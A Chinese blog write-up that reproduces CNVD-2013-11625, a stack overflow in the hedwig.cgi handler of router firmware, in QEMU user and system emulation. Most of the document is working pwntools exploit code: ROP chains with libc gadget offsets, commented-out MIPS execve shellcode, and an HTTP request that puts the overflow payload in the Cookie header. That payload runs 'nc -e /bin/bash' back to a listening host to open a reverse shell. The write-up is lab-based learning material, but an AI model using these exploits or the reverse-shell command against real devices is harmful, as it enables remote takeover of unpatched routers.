CNVD-2013-11625复现

前言

本来是不太想复现太老的漏洞的,但是这个漏洞在网上可以找到的文章非常多,复现了一下,确实很经典,可以学到很多东西,像我这样的新手拿来入门真的非常友好,也有很多大佬的文章可以参考,这里就放一下自己的一些感悟以及自己的exp,不再做太多分析了)

参考文章

文章一

文章二

漏洞分析

漏洞分析这方面winmt大佬已经分析的很透彻了,这里就不再多说了,大家可以看大佬的文章 好吧其实是因为我懒得写了(bushi

mips架构两个很有意思的特性是

  • 在调用叶子函数和非叶子函数时对于寄存器的处理问题
  • 流水线指令集的相关特性,主要体现在“分支延迟效应”和“缓存不一致性”

大家在调试过程中自己可以体会的到的

在qemu用户模式下复现

先放exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
import subprocess
import time

context(arch="mips",os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))

# libc=ELF("./lib/libuClibc-0.9.30.1.so")
libc_base=0x2b30c000
sleep_=li(0x56bd0)
binsh=li(0x5a448)
system=li(0x53200)
gadget1=li(0x13f8c)#move $a0,$s3 jalr $s6
gadget2=li(0x2d194)#addiu $s0,1 jalr $s5
gadget3=li(0x3dd24)#move $s2,$s0 jalr $s2
gadget4=li(0x3B974)#addiu $a1,$sp,0x24+var_C | jalr $s4
gadget5=li(0x272A8)#move $s0,$a1 jalr $s1
gadget6=li(0x2F0F8)#li $a0,1 | jalr $s4

#rop
payload = b'uid='+b'a'*0x3cd
payload+=p32(system-1)+p32(0xffffffff)+p32(0xffffffff)+p32(binsh)+p32(0xffffffff)+p32(gadget3)+p32(gadget2)+p32(0xffffffff)+p32(0xffffffff)+p32(gadget1)



#shellcode
# payload = b'a'*0x3cd
# payload += b'a'*4
# payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
# payload += b'a'*4
# payload += p32(libc_base + 0x56BD0) # s3 sleep
# payload += b'a'*(4*5)
# payload += p32(libc_base + 0xbb44) # ra li $a0, 3 (=> jalr $s1)

# payload += b'a'*0x18
# payload += b'a'*(4*4)
# payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
# payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)

# shellcode = asm('''
# slti $a2, $zero, -1
# li $t7, 0x69622f2f
# sw $t7, -12($sp)
# li $t6, 0x68732f6e
# sw $t6, -8($sp)
# sw $zero, -4($sp)
# la $a0, -12($sp)
# slti $a1, $zero, -1
# li $v0, 4011
# syscall 0x40404
# ''')
# payload += b'a'*0x18
# payload += shellcode
# payload = b"uid=" + payload

def ggg():
gdb_cmd = [
"tmux", "split-window", "-v", "-l", "190",
"gdb-multiarch",
"-ex", "set architecture mips:isa32r2",
"-ex", f"file ./htdocs/cgibin",
"-ex", "target remote localhost:1234",
"-ex", "b *0x409a28",
"-ex", "c"
]
subprocess.Popen(gdb_cmd)
time.sleep(1)

p = process([
"qemu-mipsel", # 模拟器命令(MIPS 小端序)
"-g", "1234", # 开启调试端口 1234(供 GDB 连接)
"-L", ".", # 指定模拟器的根文件系统路径(当前目录)
"-0", "hedwig.cgi", # 设置 argv[0](程序名)为 "service.cgi"(CGI 程序需此标识)
"-E", "REQUEST_METHOD=POST", # 环境变量:HTTP 请求方法为 POST
"-E", "REQUEST_URI=aaa?EVENT=;/bin/sh;", # 环境变量:HTTP 请求路径
"-E", "CONTENT_LENGTH=10", # 环境变量:POST 请求体长度
"-E", "CONTENT_TYPE=application/x-www-form-urlencoded", # 环境变量:请求体格式
"-E", b"HTTP_COOKIE="+payload,
"./htdocs/cgibin" # 要运行的目标二进制程序(CGI 程序路径)
])
ggg()
sl(b"aaaaaaa=bbbbbbbbbbb")
shell()

shellcode的打法以及rop链的打法都在里面,这歌调试指令可以较为方便的调试,大家可以参考一下,不调试的话,记得把指令注释掉就好了 QAQ

这里说一下winmt师傅文章中不太准确的一部分(当然也可能是因为我和winmt师傅的环境不同导致的,也可能和附件不太相同有原因,这里只是提出一下自己的看法)

1
这个脚本的ROP链构造没什么问题,但是在用户模式下是打不通的,原因是这里的system函数中有调用fork()函数,而用户模式是不支持多线程的,这里fork()的失败,会导致后面$fp是个空指针,就会出错,之后在系统模式打就不会出问题了。

rop链打不通的原因其实是因为libc中搜到/bin/sh字符串的时候搜错了,0x6dfd0的偏移指向的是存储/bin/sh字符串的指针,而并非/bin/sh的指针

屏幕截图 2025-09-26 143910

从调试结果也可以看出来,这种指针方式是不正确的,所以只要修改一下偏移,就可以打通了

在qemu系统模式下复现

下载所需的内核和镜像文件

1
2
3
4
5
6
7
8
9
10
注意:

MIPS32 架构有 Debian Squeeze 和 Debian Wheezy 两种镜像:

Squeeze 中的软件包和库通常比 Wheezy 中的旧,因此 Squeeze 适合运行需要特定旧版本库或依赖的应用程序
Wheezy 适合需要更好的性能、更好的硬件支持或更新的软件包的场景
内核镜像文件 vmlinux 有 4kc 和 5kc 两种版本:4kc 为 32 位,5kc 为 64 位

另外,与 ARM 架构不同,MIPS32 的仿真没有 RAM 磁盘映像文件 initrd.img
这里就直接引用“uf4te”师傅的原话了

配置网卡

shell脚本

1
2
3
4
5
6
7
sudo brctl addbr br0
sudo ip addr add 192.168.49.3/24 dev br0
sudo ip link set br0 up
sudo tunctl -t tap0 -u root
sudo ip addr add 192.168.49.4/24 dev tap0
sudo ip link set tap0 up
sudo brctl addif br0 tap0

这里我的虚拟机的网段是192.168.49.,大家根据自己的网段自己修改,如果有重名的网卡的话,可以将其删掉,或者修改一下网卡名称,最后不要撞到

启动qemu的脚本

1
2
3
4
5
6
7
8
~/Desktop/IOT/stackover/mips_system » sudo /usr/local/qemu-9.2/bin/qemu-system-mipsel \                                                                                   tao@taotao
-M malta \
-kernel ./vmlinux-3.2.0-4-4kc-malta \
-hda ./debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \ #这里让qemu启动的虚拟机使用刚刚创建的网卡tap0,如果上面修改了名称的话,这里也要修改
-nographic

记得根据自己的qemu-system-mipsel的路径自己修改

image-20250926175140037

启动后要登陆,user_namepassword都是root,登录后给虚拟机配置一个ip,并启动它,这里注意,这些ip都是在同一个网段里的

1
2
ip addr add 192.168.49.101/24 dev eth0
ip link set eth0 up

现在就可以发现,虚拟机和宿主机可以互相ping通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@debian-mipsel:~# ping 192.168.49.130
PING 192.168.49.130 (192.168.49.130) 56(84) bytes of data.
64 bytes from 192.168.49.130: icmp_req=1 ttl=64 time=17.5 ms
64 bytes from 192.168.49.130: icmp_req=2 ttl=64 time=0.882 ms
64 bytes from 192.168.49.130: icmp_req=3 ttl=64 time=0.664 ms
64 bytes from 192.168.49.130: icmp_req=4 ttl=64 time=0.603 ms


~/Desktop/IOT/stackover/mips_system » ping 192.168.49.101 tao@taotao
PING 192.168.49.101 (192.168.49.101) 56(84) bytes of data.
64 bytes from 192.168.49.101: icmp_seq=1 ttl=64 time=5.37 ms
64 bytes from 192.168.49.101: icmp_seq=2 ttl=64 time=0.531 ms
64 bytes from 192.168.49.101: icmp_seq=3 ttl=64 time=0.380 ms
64 bytes from 192.168.49.101: icmp_seq=4 ttl=64 time=0.470 ms
64 bytes from 192.168.49.101: icmp_seq=5 ttl=64 time=0.424 ms

qemu中启动服务

先将文件打包好传给qemu虚拟机

1
2
3
4
tar -czvf pick.tar squashfs-root#将所需文件打包好
sudo scp pick.tar root@192.168.49.101:/#传给虚拟机,记得写自己的ip,目录自己选择,我这里之间传到了根目录,之后再通过mv移动
#如果上条指令报错的话用下面这个
sudo scp -o HostKeyAlgorithms=+ssh-rsa pick.tar root@192.168.49.101:/

在宿主机里设置桥接模式,保证虚拟机可以和外网进行互通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh
sudo sysctl -w net.ipv4.ip_forward=1#宿主机里执行
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE#这里是关键,将网卡改为你宿主机访问外网时的网卡,这里我是ens33
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

现在宿主机会将虚拟机发来的流量进行伪装发出去,但是虚拟机只知道在本地网段的ip要走eth0网卡,并不知道其他网段怎么走

1
ip route add default via 192.168.49.3#虚拟机里执行

这个时候增加一个默认网关,走br0,就可以成功将包转发出去

1
2
3
4
root@debian-mipsel:~/squashfs-root# ping 180.101.49.11
PING 180.101.49.11 (180.101.49.11) 56(84) bytes of data.
64 bytes from 180.101.49.11: icmp_req=1 ttl=127 time=1.26 ms
64 bytes from 180.101.49.11: icmp_req=2 ttl=127 time=1.12 ms

可以看到,成功ping通baidu了,但是这里没有设置DNS解析域名,有需要的可以自己设置一下


接下来就是在qemu里启动http服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash

# 由于真机不存在地址随机化,因此这里关闭地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space

# 复制配置和二进制文件
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /

# 备份 /etc,防止后续操作改变 /etc 文件夹中的内容导致下一次启动 QEMU 虚拟机出现问题
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /

# 复制必要的库
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/

# 删除旧的 CGI 脚本
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap

# 创建符号链接
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap

# 根据前面配置的 http_conf 文件,启动 HTTP 服务
./httpd -f http_conf

运行这个shell脚本

1
2
3
root@debian-mipsel:~/squashfs-root# ./init.sh
cp: cannot overwrite directory `/etc/ppp' with non-directory
cp: cannot overwrite directory `/etc/iproute2' with non-directory

这里我运行的时候报错,因为/etc/ppp/etc/iproute2是两个文件夹,而~/squashfs-root/etc下的pppiproute2是两个文件,所以报错了,这里我选择将/etc/ppp/etc/iproute2删掉,然后再次运行init.sh就好了,(记得先将刚刚启动的http服务kill掉,安全起见,可以先用etc_bak恢复一下etc里的内容,然后重新启动)

可以选择在qemu虚拟机里放一个恢复文件

1
2
3
4
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

这样每次推出前运行一下这个fin.sh shell脚本就可以恢复etc里的内容,当然也可以不这么做,看个人需求

image-20250926213941750

启动服务后可以看到,已经可以在宿主机里访问虚拟机里启动的qemu服务了

1.向qemu虚拟机上传payload

这里先把本地的gdbserver传上去

1
2
sudo scp -o HostKeyAlgorithms=+ssh-rsa gdbserver #宿主机
chmod 777 gdbserver #虚拟机

写一个启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "winmt=pwner" | ./gdbserver 127.0.0.1:6666 /htdocs/web/hedwig.cgi
# echo "winmt=pwner" | /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

然后启动可以看到

1
2
3
4
5
root@debian-mipsel:~/squashfs-root# ./run.sh
cat: payload: No such file or directory
Process /htdocs/web/hedwig.cgi created; pid = 1393
Listening on port 6666

这时用宿主机的gdb-multiarch连接到这个ipport,就可以远程调试了

image-20250927192843033

image-20250927192917727

main函数下一个断点,c过去就可以通过vmmap看到libc的基地址是0x77f34000


我看师傅们的文章,这里还是用的本地的libc,这里可以看到远程运行 /htdocs/web/hedwig.cgi的时候所依赖的libc其实是qemu里自身的

1
2
3
4
5
root@debian-mipsel:/lib# ldd  /htdocs/web/hedwig.cgi
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x77fb9000)
libc.so.0 => /lib/libc.so.0 (0x77f45000)
ld-uClibc.so.0 => /lib/ld-uClibc.so.0 (0x77f2f000)

所以这里选择直接把libc扒出来进行分析,从师傅们的情况来看,应该这个libc和用户态调试的时候是一样的

1
2
nc -l -p 8888 < /lib/libc.so.0 #虚拟机
nc 192.168.49.101 8888 > ~/Desktop/IOT/stackover/libc.so.0 #宿主机

然后拖到ida里找gadget就好了,和用户态就没什么区别了,这里放exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import subprocess
import time

context(arch="mips",os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))

# libc=ELF("./lib/libuClibc-0.9.30.1.so")
libc_base=0x77f34000
system=li(0x53200)
cmd=b'nc -e /bin/bash 192.168.49.130 8888'
# 0x0000DEF0 | addiu $s2,$sp,0xA0+var_90 | jalr $s4
gadget1=li(0xdef0)
#0x00032A98 | addiu $s0,1 | jalr $s1
gadget2=li(0x32a98)
# 0x0004C154 | move $a0,$s2 | jalr $s0
gadget3=li(0x4c154)

#rop
payload = b'uid='+b'a'*(0x3cd-4)
payload+=p32(system-1)+p32(gadget1)+p32(0xffffffff)+p32(0xffffffff)+p32(gadget3)+p32(0xffffffff)+p32(0xffffffff)+p32(0xffffffff)+p32(0xffffffff)+p32(gadget2)+b'a'*0x10+cmd+b';'

fd=open("payload","wb")
fd.write(payload)
fd.close()

注意:将payload写入payload文件后传到qemu里,然后将qemurun.sh中的调试模式改为攻击模式,在宿主机监听8888端口,qemu反弹shell,就可以拿到权限

image-20250927210843256

shellcode的打法也类似,这里就不再写exp了,好吧是我太懒了

2.向 httpd 服务发送 HTTP 报文

也一样的,直接发送就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
import requests
import subprocess
import time

context(arch="mips",os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))

# libc=ELF("./lib/libuClibc-0.9.30.1.so")
libc_base=0x77f34000
system=li(0x53200)
cmd=b'nc -e /bin/bash 192.168.49.130 8888'
# 0x0000DEF0 | addiu $s2,$sp,0xA0+var_90 | jalr $s4
gadget1=li(0xdef0)
#0x00032A98 | addiu $s0,1 | jalr $s1
gadget2=li(0x32a98)
# 0x0004C154 | move $a0,$s2 | jalr $s0
gadget3=li(0x4c154)

#rop
payload = b'uid='+b'a'*(0x3cd-4)
payload+=p32(system-1)+p32(gadget1)+p32(0xffffffff)+p32(0xffffffff)+p32(gadget3)+p32(0xffffffff)+p32(0xffffffff)+p32(0xffffffff)+p32(0xffffffff)+p32(gadget2)+b'a'*0x10+cmd+b';'

# fd=open("payload","wb")
# fd.write(payload)
# fd.close()

url = "http://192.168.49.101:4321/hedwig.cgi"
data = {"winmt": "pwner"}

# 定义请求头
headers = {
"Cookie": b"uid=" + payload,
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "11"
}

# 发送 POST 请求
res = requests.post(url=url, headers=headers, data=data)
print(res)

image-20250927212207064